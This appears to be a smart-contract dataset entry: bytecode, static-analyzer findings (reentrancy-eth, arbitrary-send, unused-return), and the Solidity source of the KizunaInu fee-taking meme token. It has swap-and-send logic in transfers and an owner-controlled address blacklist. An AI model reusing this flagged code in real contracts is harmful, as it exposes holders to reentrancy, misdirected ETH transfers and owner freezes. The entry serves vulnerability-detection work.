0000000000000000000000000000000000815260040161115c90612fdf565b60405180910390fd5b600081116111a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119f90612f9f565b60405180910390fd5b6111d760646111c983683635c9adc5dea000006120f990919063ffffffff16565b61217490919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120e919061307f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611318576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130f9061303f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611388576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137f90612f5f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611466919061307f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114da9061301f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611553576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154a90612eff565b60405180910390fd5b60008111611596576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158d90612fff565b60405180910390fd5b61159e610fd2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160c57506115dc610fd2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b6f57600f60179054906101000a900460ff161561183f573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168e57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e85750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117425750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183e57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117886112a0565b73ffffffffffffffffffffffffffffffffffffffff1614806117fe5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e66112a0565b73ffffffffffffffffffffffffffffffffffffffff16145b61183d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118349061305f565b60405180910390fd5b5b5b60105481111561184e57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f25750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fb57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a65750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a145750600f60179054906101000a900460ff165b15611ab55742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6457600080fd5b601e42611a7191906131b5565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac030610e2e565b9050600f60159054906101000a900460ff16158015611b2d5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b455750600f60169054906101000a900460ff165b15611b6d57611b5381611dff565b60004790506000811115611b6b57611b6a47611c96565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c165750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2057600090505b611c2c848484846121be565b50505050565b6000838311158290611c7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c719190612edd565b60405180910390fd5b5060008385611c899190613296565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce660028461217490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d11573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6260028461217490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8d573d6000803e3d6000fd5b5050565b6000600654821115611dd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dcf90612f3f565b60405180910390fd5b6000611de26121eb565b9050611df7818461217490919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5d577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8b5781602001602082028036833780820191505090505b5090503081600081518110611ec9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6b57600080fd5b505afa158015611f7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa3919061294c565b81600181518110611fdd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204430600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a8565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a895949392919061309a565b600060405180830381600087803b1580156120c257600080fd5b505af11580156120d6573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210c576000905061216e565b6000828461211a919061323c565b9050828482612129919061320b565b14612169576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216090612fbf565b60405180910390fd5b809150505b92915050565b60006121b683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612216565b905092915050565b806121cc576121cb612279565b5b6121d78484846122aa565b806121e5576121e4612475565b5b50505050565b60008060006121f8612487565b9150915061220f818361217490919063ffffffff16565b9250505090565b6000808311829061225d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122549190612edd565b60405180910390fd5b506000838561226c919061320b565b9050809150509392505050565b600060085414801561228d57506000600954145b15612297576122a8565b600060088190555060006009819055505b565b6000806000806000806122bc876124e9565b95509550955095509550955061231a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123af85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fb816125f9565b61240584836126b6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612462919061307f565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124bd683635c9adc5dea0000060065461217490919063ffffffff16565b8210156124dc57600654683635c9adc5dea000009350935050506124e5565b81819350935050505b9091565b60008060008060008060008060006125068a6008546009546126f0565b92509250925060006125166121eb565b905060008060006125298e878787612786565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c32565b905092915050565b60008082846125aa91906131b5565b9050838110156125ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e690612f7f565b60405180910390fd5b8091505092915050565b60006126036121eb565b9050600061261a82846120f990919063ffffffff16565b905061266e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cb8260065461255190919063ffffffff16565b6006819055506126e68160075461259b90919063ffffffff16565b6007819055505050565b60008060008061271c606461270e888a6120f990919063ffffffff16565b61217490919063ffffffff16565b905060006127466064612738888b6120f990919063ffffffff16565b61217490919063ffffffff16565b9050600061276f82612761858c61255190919063ffffffff16565b61255190919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061279f85896120f990919063ffffffff16565b905060006127b686896120f990919063ffffffff16565b905060006127cd87896120f990919063ffffffff16565b905060006127f6826127e8858761255190919063ffffffff16565b61255190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282261281d84613134565b61310f565b9050808382526020820190508285602086028201111561284157600080fd5b60005b858110156128715781612857888261287b565b845260208401935060208301925050600181019050612844565b5050509392505050565b60008135905061288a81613772565b92915050565b60008151905061289f81613772565b92915050565b600082601f8301126128b657600080fd5b81356128c684826020860161280f565b91505092915050565b6000813590506128de81613789565b92915050565b6000815190506128f381613789565b92915050565b600081359050612908816137a0565b92915050565b60008151905061291d816137a0565b92915050565b60006020828403121561293557600080fd5b60006129438482850161287b565b91505092915050565b60006020828403121561295e57600080fd5b600061296c84828501612890565b91505092915050565b6000806040838503121561298857600080fd5b60006129968582860161287b565b92505060206129a78582860161287b565b9150509250929050565b6000806000606084860312156129c657600080fd5b60006129d48682870161287b565b93505060206129e58682870161287b565b92505060406129f6868287016128f9565b9150509250925092565b60008060408385031215612a1357600080fd5b6000612a218582860161287b565b9250506020612a32858286016128f9565b9150509250929050565b600060208284031215612a4e57600080fd5b600082013567ffffffffffffffff811115612a6857600080fd5b612a74848285016128a5565b91505092915050565b600060208284031215612a8f57600080fd5b6000612a9d848285016128cf565b91505092915050565b600060208284031215612ab857600080fd5b6000612ac6848285016128e4565b91505092915050565b600060208284031215612ae157600080fd5b6000612aef848285016128f9565b91505092915050565b600080600060608486031215612b0d57600080fd5b6000612b1b8682870161290e565b9350506020612b2c8682870161290e565b9250506040612b3d8682870161290e565b9150509250925092565b6000612b538383612b5f565b60208301905092915050565b612b68816132ca565b82525050565b612b77816132ca565b82525050565b6000612b8882613170565b612b928185613193565b9350612b9d83613160565b8060005b83811015612bce578151612bb58882612b47565b9750612bc083613186565b925050600181019050612ba1565b5085935050505092915050565b612be4816132dc565b82525050565b612bf38161331f565b82525050565b6000612c048261317b565b612c0e81856131a4565b9350612c1e818560208601613331565b612c278161346b565b840191505092915050565b6000612c3f6023836131a4565b9150612c4a8261347c565b604082019050919050565b6000612c62601a836131a4565b9150612c6d826134cb565b602082019050919050565b6000612c85602a836131a4565b9150612c90826134f4565b604082019050919050565b6000612ca86022836131a4565b9150612cb382613543565b604082019050919050565b6000612ccb601b836131a4565b9150612cd682613592565b602082019050919050565b6000612cee601d836131a4565b9150612cf9826135bb565b602082019050919050565b6000612d116021836131a4565b9150612d1c826135e4565b604082019050919050565b6000612d346020836131a4565b9150612d3f82613633565b602082019050919050565b6000612d576029836131a4565b9150612d628261365c565b604082019050919050565b6000612d7a6025836131a4565b9150612d85826136ab565b604082019050919050565b6000612d9d6024836131a4565b9150612da8826136fa565b604082019050919050565b6000612dc06011836131a4565b9150612dcb82613749565b602082019050919050565b612ddf81613308565b82525050565b612dee81613312565b82525050565b6000602082019050612e096000830184612b6e565b92915050565b6000604082019050612e246000830185612b6e565b612e316020830184612b6e565b9392505050565b6000604082019050612e4d6000830185612b6e565b612e5a6020830184612dd6565b9392505050565b600060c082019050612e766000830189612b6e565b612e836020830188612dd6565b612e906040830187612bea565b612e9d6060830186612bea565b612eaa6080830185612b6e565b612eb760a0830184612dd6565b979650505050505050565b6000602082019050612ed76000830184612bdb565b92915050565b60006020820190508181036000830152612ef78184612bf9565b905092915050565b60006020820190508181036000830152612f1881612c32565b9050919050565b60006020820190508181036000830152612f3881612c55565b9050919050565b60006020820190508181036000830152612f5881612c78565b9050919050565b60006020820190508181036000830152612f7881612c9b565b9050919050565b60006020820190508181036000830152612f9881612cbe565b9050919050565b60006020820190508181036000830152612fb881612ce1565b9050919050565b60006020820190508181036000830152612fd881612d04565b9050919050565b60006020820190508181036000830152612ff881612d27565b9050919050565b6000602082019050818103600083015261301881612d4a565b9050919050565b6000602082019050818103600083015261303881612d6d565b9050919050565b6000602082019050818103600083015261305881612d90565b9050919050565b6000602082019050818103600083015261307881612db3565b9050919050565b60006020820190506130946000830184612dd6565b92915050565b600060a0820190506130af6000830188612dd6565b6130bc6020830187612bea565b81810360408301526130ce8186612b7d565b90506130dd6060830185612b6e565b6130ea6080830184612dd6565b9695505050505050565b60006020820190506131096000830184612de5565b92915050565b600061311961312a565b90506131258282613364565b919050565b6000604051905090565b600067ffffffffffffffff82111561314f5761314e61343c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c082613308565b91506131cb83613308565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613200576131ff6133de565b5b828201905092915050565b600061321682613308565b915061322183613308565b9250826132315761323061340d565b5b828204905092915050565b600061324782613308565b915061325283613308565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328b5761328a6133de565b5b828202905092915050565b60006132a182613308565b91506132ac83613308565b9250828210156132bf576132be6133de565b5b828203905092915050565b60006132d5826132e8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332a82613308565b9050919050565b60005b8381101561334f578082015181840152602081019050613334565b8381111561335e576000848401525b50505050565b61336d8261346b565b810181811067ffffffffffffffff8211171561338c5761338b61343c565b5b80604052505050565b60006133a082613308565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d3576133d26133de565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377b816132ca565b811461378657600080fd5b50565b613792816132dc565b811461379d57600080fd5b50565b6137a981613308565b81146137b457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d50a95abbb3411c608f7dac7ae02ed781d67ae4467e2e87406ab98a6fe8595df64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,250
0x92f912c694f6E59eaAEB893419d7Eb9dBCf94F78
// KizunaInu ($KIZUNA) //Telegram: https://t.me/kizunainutoken // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract KizunaInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "KizunaInu"; string private constant _symbol = "KIZUNA"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (10 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function startTrading() external onlyOwner() { require(!tradingOpen, "trading is already started"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 3000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b41146102d6578063a9059cbb14610305578063c3c8cd8014610325578063d543dbeb1461033a578063dd62ed3e1461035a57600080fd5b80636fc3eaec1461026457806370a0823114610279578063715018a6146102995780638da5cb5b146102ae57600080fd5b806323b872dd116100dc57806323b872dd146101d3578063293230b8146101f3578063313ce567146102085780635932ead1146102245780636b9990531461024457600080fd5b8062b8cf2a1461011857806306fdde031461013a578063095ea7b31461017e57806318160ddd146101ae57600080fd5b3661011357005b600080fd5b34801561012457600080fd5b506101386101333660046118a5565b6103a0565b005b34801561014657600080fd5b506040805180820190915260098152684b697a756e61496e7560b81b60208201525b60405161017591906119e9565b60405180910390f35b34801561018a57600080fd5b5061019e61019936600461187a565b61044d565b6040519015158152602001610175565b3480156101ba57600080fd5b50670de0b6b3a76400005b604051908152602001610175565b3480156101df57600080fd5b5061019e6101ee36600461183a565b610464565b3480156101ff57600080fd5b506101386104cd565b34801561021457600080fd5b5060405160098152602001610175565b34801561023057600080fd5b5061013861023f36600461196c565b61088e565b34801561025057600080fd5b5061013861025f3660046117ca565b6108d6565b34801561027057600080fd5b50610138610921565b34801561028557600080fd5b506101c56102943660046117ca565b61094e565b3480156102a557600080fd5b50610138610970565b3480156102ba57600080fd5b506000546040516001600160a01b039091168152602001610175565b3480156102e257600080fd5b506040805180820190915260068152654b495a554e4160d01b6020820152610168565b34801561031157600080fd5b5061019e61032036600461187a565b6109e4565b34801561033157600080fd5b506101386109f1565b34801561034657600080fd5b506101386103553660046119a4565b610a27565b34801561036657600080fd5b506101c5610375366004611802565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146103d35760405162461bcd60e51b81526004016103ca90611a3c565b60405180